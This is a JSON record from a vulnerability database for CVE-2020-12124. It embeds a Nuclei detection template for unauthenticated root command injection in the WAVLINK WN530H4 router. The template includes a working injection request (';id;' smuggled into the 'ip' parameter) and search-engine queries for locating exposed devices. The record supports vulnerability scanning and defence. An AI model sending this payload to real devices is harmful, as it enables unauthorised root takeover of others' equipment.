{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-12124/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-12124/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-12124/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-12124/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-12124/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-12124"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-12124"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-12124.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-12124\n\ninfo:\n  name: WAVLINK WN530H4 live_api.cgi - Command Injection\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary Linux commands as root on the WAVLINK WN530H4 device, potentially leading to complete system compromise, data theft, or using the device as a pivot point for further attacks.\n  remediation: |\n    Apply vendor security patches if available or replace the device with a secure alternative. Restrict access to the management interface.\n  reference:\n    - https://github.com/db44k/CVE-2020-12124\n    - https://cerne.xyz/bugs/CVE-2020-12124\n    - https://www.wavlink.com/en_us/product/WL-WN530H4.html\n    - https://github.com/Scorpion-Security-Labs/CVE-2020-12124\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-12124\n    cwe-id: CWE-78\n    epss-score: 0.7465\n    epss-percentile: 0.99478\n    cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: wavlink\n    product: wn530h4_firmware\n    shodan-query: http.html:\"wavlink\"\n    fofa-query: body=\"wavlink\"\n  tags: cve,cve2020,rce,wavlink,vkev,vuln\nvariables:\n  str: \"{{rand_base(3)}}\"\n  num: \"{{rand_int(1, 10)}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/cgi-bin/live_api.cgi?page={{str}}&id={{num}}&ip=;id;\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"((u|g)id|groups)=[0-9]{1,4}\\\\([a-z0-9]+\\\\)\"\n\n      - type: word\n        part: body\n        words:\n          - \"WiFiBand\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100c6a60f67ca6f472f316285a6e2ed06370028be30c8b0a9a49850ff67a0b665d9022100bab30cf79a1e7657d0dd6635e72082387d27c9abcd00da934182495bf3eced7d:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-12124"
}